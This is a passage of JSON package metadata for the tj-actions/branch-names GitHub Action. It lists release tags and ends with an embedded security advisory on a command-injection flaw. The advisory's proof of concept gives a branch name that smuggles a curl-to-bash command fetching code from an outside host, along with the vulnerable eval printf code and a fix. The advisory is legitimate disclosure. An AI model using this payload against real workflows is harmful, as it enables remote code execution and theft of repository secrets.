e.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.2/manifests"},{"name":"v7.0.1","sha":"4e532392367d7e4fb2f494f2d50c47562660cce5","kind":"commit","published_at":"2023-05-15T20:44:04.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.1","dependencies_parsed_at":"2023-06-02T00:21:24.476Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.1/manifests"},{"name":"v7.0.0","sha":"604fda4f4254216e3b564d60fe27d68017756558","kind":"commit","published_at":"2023-05-15T20:37:34.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.0","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.0","dependencies_parsed_at":"2023-06-02T00:21:24.823Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.0/manifests"},{"name":"v7","sha":"604fda4f4254216e3b564d60fe27d68017756558","kind":"commit","published_at":"2023-05-15T20:37:34.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7","dependencies_parsed_at":"2023-06-02T00:21:26.365Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7/manifests"},{"name":"v6.5","sha":"2e5354c6733793113f416314375826df030ada23","kind":"commit","published_at":"2023-04-01T20:56:44.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v6.5","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v6.5","dependencies_parsed_at":"2023-06-02T00:21:27.963Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.5/manifests"},{"name":"v6.4","sha":"eee8675bd61ec38bcfbfedd504d8473292ba649e","kind":"commit","published_at":"2022-12-19T16:46:59.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v6.4","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v6.4","dependencies_parsed_at":"2023-06-01T10:32:16.899Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.4/manifests"},{"name":"v6.3","sha":"a594c1e96eab7790611fdaf5bc8f76ea55cedabd","kind":"commit","published_at":"2022-11-12T23:17:13.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v6.3","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v6.3","dependencies_parsed_at":"2023-05-31T19:48:53.828Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.3/manifests"},{"name":"v6.2","sha":"b90df97be1c548ac9c8bd9186bfea6747153bf5e","kind":"commit","published_at":"2022-10-16T04:47:00.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v6.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v6.2","dependencies_parsed_at":"2023-05-31T19:48:54.740Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.2/manifests"},{"name":"v6.1","sha":"09ab61130975078eb7cde103fe8d2ae1649a1853","kind":"commit","published_at":"2022-09-22T15:11:04.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v6.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v6.1","dependencies_parsed_at":"2023-05-31T19:48:56.105Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6.1/manifests"},{"name":"v6","sha":"a787f0ff71ed44cb74a19849ba7ebe78434e11db","kind":"commit","published_at":"2022-08-27T15:44:20.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v6","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v6","dependencies_parsed_at":"2023-05-30T19:35:57.170Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v6/manifests"},{"name":"v5.6","sha":"63b65253bc9542d36a60646299bd8c9af6d9ce7e","kind":"commit","published_at":"2022-08-27T15:11:56.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5.6","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5.6","dependencies_parsed_at":"2023-05-30T19:35:58.961Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.6/manifests"},{"name":"v5.5","sha":"a704b89383028b5df2a4fd0b9fac9711970f18be","kind":"commit","published_at":"2022-08-21T17:01:25.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5.5","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5.5","dependencies_parsed_at":"2023-05-30T19:36:00.032Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.5/manifests"},{"name":"v5.4","sha":"b0f914ba0e7aa1e243b53df97447f71eb57da09a","kind":"commit","published_at":"2022-07-01T04:32:22.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5.4","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5.4","dependencies_parsed_at":"2023-05-30T19:36:01.304Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.4/manifests"},{"name":"v5.3","sha":"e0e3be64a3f10f671bb526b715f86a8a834dce75","kind":"commit","published_at":"2022-06-22T12:21:26.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5.3","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5.3","dependencies_parsed_at":"2023-05-30T19:36:02.361Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.3/manifests"},{"name":"v5.2","sha":"9cd06d955f4184031cd71fbb1717ac268ade2ee0","kind":"commit","published_at":"2022-03-22T21:33:56.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5.2","dependencies_parsed_at":"2023-05-30T19:36:03.391Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.2/manifests"},{"name":"v5.1","sha":"b99758d88d96a27ee98b444451c1602a4507d243","kind":"commit","published_at":"2021-12-14T02:54:25.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5.1","dependencies_parsed_at":"2023-05-30T19:36:04.473Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5.1/manifests"},{"name":"v5","sha":"dc2e78ac9284175fdc0f2d505d8b49ef99632ea8","kind":"commit","published_at":"2021-09-14T17:45:20.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v5","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v5","dependencies_parsed_at":"2023-05-30T19:36:05.853Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v5/manifests"},{"name":"v4.9","sha":"12c1d475292ae9bb96656e80c24172db3cd60ffb","kind":"commit","published_at":"2021-08-23T01:18:19.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.9","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.9","dependencies_parsed_at":"2023-05-30T19:36:07.267Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.9/manifests"},{"name":"v4.8","sha":"af5c6741e639608a1c0e87eaa3c0c414d427d9e4","kind":"commit","published_at":"2021-08-04T19:17:49.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.8","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.8","dependencies_parsed_at":"2023-05-30T19:36:09.641Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.8/manifests"},{"name":"v4.7","sha":"28a6a95bc5bcc69b16010647668f1c5c4fd0dcca","kind":"commit","published_at":"2021-08-04T19:14:32.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.7","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.7","dependencies_parsed_at":"2023-05-30T19:36:11.371Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.7/manifests"},{"name":"v4.6","sha":"b0fc3aebc2f3fb8edfd024aea4dc8a073d10db88","kind":"commit","published_at":"2021-08-04T19:11:24.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.6","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.6","dependencies_parsed_at":"2023-05-30T19:36:12.496Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.6/manifests"},{"name":"v4.5","sha":"a0061fbc59329b02d6c530f25b9d3fc80340a792","kind":"commit","published_at":"2021-07-01T12:15:13.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.5","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.5","dependencies_parsed_at":"2023-05-30T19:36:13.356Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.5/manifests"},{"name":"v4.4","sha":"ce1737e426445fcb5b05a09e984b66d0b27548ba","kind":"commit","published_at":"2021-07-01T12:12:43.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.4","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.4","dependencies_parsed_at":"2023-05-30T19:36:14.366Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.4/manifests"},{"name":"v4.3","sha":"47910e48331f8d64a4d535a35e9540c1ebf767f7","kind":"commit","published_at":"2021-05-27T12:35:19.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.3","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.3","dependencies_parsed_at":"2023-05-30T19:36:15.196Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.3/manifests"},{"name":"v4.2","sha":"f107226331b387d31308ceb1b5767b52024508e8","kind":"commit","published_at":"2021-05-25T16:30:54.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.2","dependencies_parsed_at":"2023-05-30T19:36:16.108Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.2/manifests"},{"name":"v4","sha":"f107226331b387d31308ceb1b5767b52024508e8","kind":"commit","published_at":"2021-05-25T16:30:54.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4","dependencies_parsed_at":"2023-05-30T19:36:16.814Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4/manifests"},{"name":"v4.1","sha":"98c04d51ee204c4f23daee8ee15af9e8e80e36b2","kind":"commit","published_at":"2021-05-24T11:36:26.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v4.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v4.1","dependencies_parsed_at":"2023-05-30T19:36:17.588Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v4.1/manifests"},{"name":"v3.6","sha":"3e0215fc2dd14b3e395f99b5e2cc1e4d93afe1b6","kind":"commit","published_at":"2021-04-25T01:18:09.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3.6","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3.6","dependencies_parsed_at":"2023-05-30T19:36:18.198Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.6/manifests"},{"name":"v3.5","sha":"b587231a9abec0da6f45dbaea42d88a9c130ee8f","kind":"commit","published_at":"2021-04-25T00:54:21.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3.5","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3.5","dependencies_parsed_at":"2023-05-30T19:36:18.882Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.5/manifests"},{"name":"v3.4","sha":"dd9939e9966a18c8ce9bfcf188731c4746faf197","kind":"commit","published_at":"2021-04-25T00:51:41.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3.4","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3.4","dependencies_parsed_at":"2023-05-30T19:36:19.554Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.4/manifests"},{"name":"v3.3","sha":"509c3124abef4caaeb784a5aa6f465da588e0c43","kind":"commit","published_at":"2021-04-25T00:34:13.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3.3","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3.3","dependencies_parsed_at":"2023-05-30T19:36:20.495Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.3/manifests"},{"name":"v3.2","sha":"ae7cf1163ab1375b4bbf5ec6d16a686118dac27d","kind":"commit","published_at":"2021-04-25T00:11:33.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3.2","dependencies_parsed_at":"2023-05-30T19:36:21.157Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.2/manifests"},{"name":"v3.1","sha":"eb14b2dffd7af08b599b691d72b757ae607675bd","kind":"commit","published_at":"2021-04-24T10:51:05.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3.1","dependencies_parsed_at":"2023-05-30T19:36:21.741Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3.1/manifests"},{"name":"v3","sha":"fdb3a42221b1ee981def2a3e7767bd3ffcda0ff7","kind":"commit","published_at":"2021-04-24T10:47:14.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v3","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v3","dependencies_parsed_at":"2023-05-30T19:36:22.349Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v3/manifests"},{"name":"v2.2","sha":"4362da73333d3a6ecf81047f6ae055cad78fcb38","kind":"commit","published_at":"2021-02-14T13:05:01.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v2.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v2.2","dependencies_parsed_at":"2023-05-30T19:36:22.962Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v2.2/manifests"},{"name":"v2.1","sha":"8c72ffde4df03225c479f93fef608d8cdd1042f3","kind":"commit","published_at":"2021-02-08T01:22:48.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v2.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v2.1","dependencies_parsed_at":"2023-05-30T19:36:23.443Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v2.1/manifests"},{"name":"v2","sha":"8307330ac59a26bd125a6f99c33820dd0baf439f","kind":"commit","published_at":"2020-12-29T14:16:54.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v2","dependencies_parsed_at":"2023-05-30T19:36:23.745Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v2/manifests"},{"name":"v1","sha":"549ca323b2179ffc0f7f828b555e88fe53da3787","kind":"commit","published_at":"2020-12-11T15:23:15.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v1","dependencies_parsed_at":"2023-05-30T19:36:24.033Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v1/manifests"}]},"repo_metadata_updated_at":"2026-09-26T07:53:59.133Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":650,"rankings":{"downloads":null,"dependent_repos_count":1.2454444620503884,"dependent_packages_count":0.0,"stargazers_count":1.4704484233877357,"forks_count":2.6715259071462527,"docker_downloads_count":null,"average":1.3468546981460943},"purl":"pkg:githubactions/tj-actions/branch-names","advisories":[{"uuid":"GSA_kwCzR0hTQS1ncTUyLTZwaGYteDJyNs4ABKiK","url":"https://github.com/advisories/GHSA-gq52-6phf-x2r6","title":"tj-actions/branch-names has a Command Injection Vulnerability","description":"#### **Overview**\n\nA critical vulnerability has been identified in the `tj-actions/branch-names` GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.\n\n#### **Technical Details**\n\nThe vulnerability stems from the unsafe use of the `eval printf \"%s\"` pattern within the action's codebase. Although initial sanitization using `printf \"%q\"` properly escapes untrusted input, subsequent unescaping via `eval printf \"%s\"` reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:\n\n```bash\necho \"base_ref_branch=$(eval printf \"%s\" \"$BASE_REF\")\" \u003e\u003e \"$GITHUB_OUTPUT\"\necho \"head_ref_branch=$(eval printf \"%s\" \"$HEAD_REF\")\" \u003e\u003e \"$GITHUB_OUTPUT\"\necho \"ref_branch=$(eval printf \"%s\" \"$REF_BRANCH\")\" \u003e\u003e \"$GITHUB_OUTPUT\"\n```\n\nThis approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.\n\n#### **Proof-of-Concept (PoC)**\n\n1. Create a branch with the name `$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)`.\n2. Trigger the vulnerable workflow by opening a pull request into the target repository.\n3. Observe arbitrary code execution in the workflow logs.\n\nExample output:\n```bash\nRunning on a pull request branch.\nRun echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n  echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n  shell: /usr/bin/bash -e {0}\nRunning on pr: === PoC script executed successfully ===\nRunner user: runner\n```\n\n#### **Impact**\n\nThis vulnerability enables arbitrary command execution in repositories consuming outputs from `tj-actions/branch-names`. The severity of the impact depends on the permissions granted to the `GITHUB_TOKEN` and the context of the triggering event. Potential consequences include:\n\n- Theft of sensitive secrets stored in the repository.\n- Unauthorized write access to the repository.\n- Compromise of the repository's integrity and security.\n\n#### **Mitigation and Resolution**\n\nTo address this vulnerability, the unsafe `eval printf \"%s\"` pattern must be replaced with safer alternatives. Specifically, direct `printf` calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:\n\n```bash\nprintf \"base_ref_branch=%s\\n\" \"$BASE_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\nprintf \"head_ref_branch=%s\\n\" \"$HEAD_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\nprintf \"ref_branch=%s\\n\" \"$REF_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\nprintf \"tag=%s\\n\" \"$TAG\" \u003e\u003e \"$GITHUB_OUTPUT\"\n```\n\nThis approach ensures that all outputs remain properly escaped and safe for downstream consumption.\n\n#### **Recommendations**\n\n1. **Immediate Action**: Developers using the `tj-actions/branch-names` workflow should update their workflows to latest major version [v9](https://github.com/tj-actions/branch-names/releases/tag/v9.0.0).\n\n#### **References**\n- [GitHub Actions Security Guide](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- [How to Secure GitHub Actions Workflows](https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql/)\n- [Related Vulnerability: GHSA-mcph-m25j-8j63](https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63)\n- [Template Injection Advisory: GHSA-8v8w-v8xg-79rf](https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-07-25T19:28:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf","https://github.com/tj-actions/branch-names/security/advisories/GHSA-gq52-6phf-x2r6","https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63","https://github.com/tj-actions/branch-names/commit/e497ceb8ccd43fd9573cf2e375216625bc411d1f","https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql","https://github.com/tj-actions/branch-names/releases/tag/v9.0.0","https://securitylab.github.com/resources/github-actions-untrusted-input","https://nvd.nist.gov/vuln/detail/CVE-2025-54416","https://github.com/advisories/GHSA-gq52-6phf-x2r6"],"source_kind":"github","identifiers":["GHSA-gq52-6phf-x2r6","CVE-2025-54416"],"repository_url":"https://github.com/tj-actions/branch-names","blast_radius":1.0,"created_at":"2025-07-